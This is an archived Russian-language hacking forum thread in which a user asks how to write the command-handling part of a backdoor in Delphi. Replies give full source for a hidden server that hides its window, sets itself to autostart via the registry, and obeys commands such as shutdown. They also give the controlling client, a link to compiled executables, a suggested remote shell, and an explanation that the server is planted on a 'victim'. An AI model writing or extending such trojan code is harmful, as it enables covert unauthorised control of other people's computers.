Просмотр полной версии : Бекдор. Передача команд
Привет всем!
Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды.
К примеру:
Client: reboot
Server получает и идёт выполнение команды
ExitWindowsEx(EWX_REBOOT,0);
Подскажите как?
De-visible
03.11.2008, 13:41
Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?
мне непонятен именно сам механизм анализа переданной команды сервером
мне непонятен именно сам механизм анализа переданной команды сервером
А чего тут не понятного?Тут подумать и все станет понятно :D
Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.
Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:
TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть
TcpServer1.Active := True; // открывается порт
Потом идёт обработка команды
u:=false; //переменной U присваеваем ложь
begin
repeat
sleep(1000);
if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру
until U;
end;
Теперь кодиш клиент:
TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := '1111'; // порт такой же как у сервера
TcpClient1.Active := True;
Ну а что бы послать команды используй:
TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х
Но здесь мождна обойтись и без Edit2.Text а просто кнопкой
Надеюсь написал то что ты хотел :-)
Полные исходники:
Нужно Form1 убрать из Avto Create
Сервер
program Intersec;
uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
var
WhEvent : THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.
unit Unit1;
interface
uses
Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni : TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
RegIni.Free;
ServerSocket1.Active:=true;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='Reboot' then
ExitWindowsEx(EWX_SHUTDOWN, 0); // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;
end.
Клинет:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
Label1: TLabel;
Edit2: TEdit;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Active:=True;
ClientSocket1.Socket.SendText(Edit2.Text);
ClientSocket1.Active:=False;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if ClientSocket1.Active then
ClientSocket1.Active:=False;
end;
end.
Так же можно скачать (http://depositfiles.com/files/uvkuoroc4) размер 384.93 KB
В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.
в примерах от борланда вроде была работа с сокетами на станд.компонентах ....
o_O делфи + vcl =бекдор
Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее.
А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно
типа такой пакет строй:CMD_ID_1#CMD_ID_2#
другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа #
А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY
т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов )
Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048
_Pantera_
07.11.2008, 10:47
мне непонятен именно сам механизм анализа переданной команды сервером
Тут все очень просто. Описывю в двух словах:
У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример:
Сервер - открываем порт и ждем подключения
Кслиент- конектимся на порт
Клиент - отправляем строку текста "open" на сервер
Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром)
и т.д пока не будет получена команда на дисконект
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot